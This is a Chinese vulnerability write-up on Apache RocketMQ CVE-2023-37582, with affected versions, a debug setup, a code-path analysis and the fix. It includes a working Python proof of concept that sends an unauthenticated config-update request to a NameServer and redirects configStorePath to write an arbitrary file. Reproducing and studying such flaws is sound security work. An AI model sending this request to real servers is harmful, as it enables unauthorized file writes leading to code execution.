Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)

这篇具有很好参考价值的文章主要介绍了Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

文章来源地址https://www.toymoban.com/news/detail-618537.html

漏洞简介

Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。

影响版本

Apache RocketMQ <= 5.1.1 Apache RocketMQ <= 4.9.6

环境搭建

参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建

还是为了方便进行调试,我们再 linux 下搭建 RocketMQ 的相关服务,利用源码启动

一共需要运行两个服务

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup

先启动 NamesrvStartup,再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME ROCKETMQ_HOME\=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0

漏洞复现

运行 python 脚本

import socket
import binascii
client = socket.socket()
​
# you ip
client.connect(('192.168.222.130',9876))
​
# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
​
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

org/apache/rocketmq/remoting/protocol/RequestCode.java​ code 代表调用不同的功能,此时调用的是318 更新配置的操作

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

根据对应的 code 会调用 对应的函数进行处理

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

​​src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

​​

首先判断是不是属于可控的属性

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

调用 getStorePath​ 获取文件路径,此时获取的值是 configStorePath 的值

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

​​src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

​​src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

漏洞修复

修改禁用修改配置路径的参数

更多网安技能的在线实操练习,请点击这里>>

到了这里,关于Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞

    复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架, 被广泛地应用在

    2024年02月05日
    浏览(34)
  • 【Citrix篇】1-Citrix ADC/Gateway 远程代码执行漏洞CVE-2023-3519和升级方法

    目录 一、前言 二、实验效果 三、影响的版本(CVE-2023-3519) 四、升级前准备 五、命令行升级步骤 六、GUi界面升级步骤 七、公司介绍 近期我们收到Citrix发布关于NetScaler ADC 、NetScaler Gateway的风险通告,漏洞编号为CVE-2023-3519, 漏洞等级:严重,漏洞评分:9.8 漏洞影响 :Hack可

    2024年02月08日
    浏览(33)
  • Apache Druid中Kafka配置远程代码执行漏洞(MPS-2023-6623)

    Apache Druid 是一个高性能的数据分析引擎。 Kafka Connect模块曾出现JNDI注入漏洞(CVE-2023-25194),近期安全研究人员发现Apache Druid由于支持从 Kafka 加载数据的实现满足其利用条件,攻击者可通过修改 Kafka 连接配置属性进行 JNDI 注入攻击,进而在服务端执行任意恶意代码。 Apache Dru

    2024年02月07日
    浏览(71)
  • 03Apache Solr 远程命令执行漏洞(CVE-2019-0193)

    0x01 漏洞介绍 Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。 此次漏洞出现在 Apache Solr 的 DataImportHandler ,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH配置都可以通过外

    2024年02月09日
    浏览(31)
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(42)
  • Windows Server 2012 R2服务器Microsoft 消息队列远程代码执行漏洞CVE-2023-21554补丁KB5025288的安装及问题解决

    近日,系统安全扫描中发现Windows Server 2012 R2服务器存在Microsoft 消息队列远程代码执行漏洞。本文记录补丁安装中遇到的“此更新不适用于你的计算机”问题及解决办法。 一、问题描述: 1、系统安全扫描中发现Windows Server 2012 R2服务器存在Microsoft 消息队列远程代码执行漏洞,

    2024年02月10日
    浏览(36)
  • Apache Struts2 S2-045远程命令执行漏洞(CVE-2017-5638)复现

    Apache Struts2是Apache项目下的一个web 框架,帮助Java开发者利用J2EE来开发Web相关应用。 Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,攻击者可以在使用该插件上传文件时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。 Struts 2.3.5 – Struts 2.3.3

    2024年02月15日
    浏览(30)
  • 漏洞复现-Drupal远程代码执行漏洞(CVE-2018-7602)

    Drupal 7.x 和 8.x 的多个子系统中存在一个远程执行代码漏洞。这可能允许攻击者利用 Drupal 站点上的多个攻击媒介,从而导致该站点受到威胁。此漏洞与 Drupal 核心 - 高度关键 - 远程代码执行 - SA-CORE-2018-002 有关。SA-CORE-2018-002 和此漏洞都在野外被利用。 -c 后面接命令,紧随账号

    2024年02月16日
    浏览(36)
  • Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

    CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞 该漏洞是在 EQNEDT32.EXE 组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。

    2024年02月12日
    浏览(29)
  • CVE-2019-0708远程桌面服务远程执行代码漏洞复现

    1、相关简介 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708。攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息、执行远程代码、发起拒绝服务攻击等等攻击行为。2019年5月14日微软官方发布安全补丁,修复了windows远程桌面服务的远

    2024年02月10日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包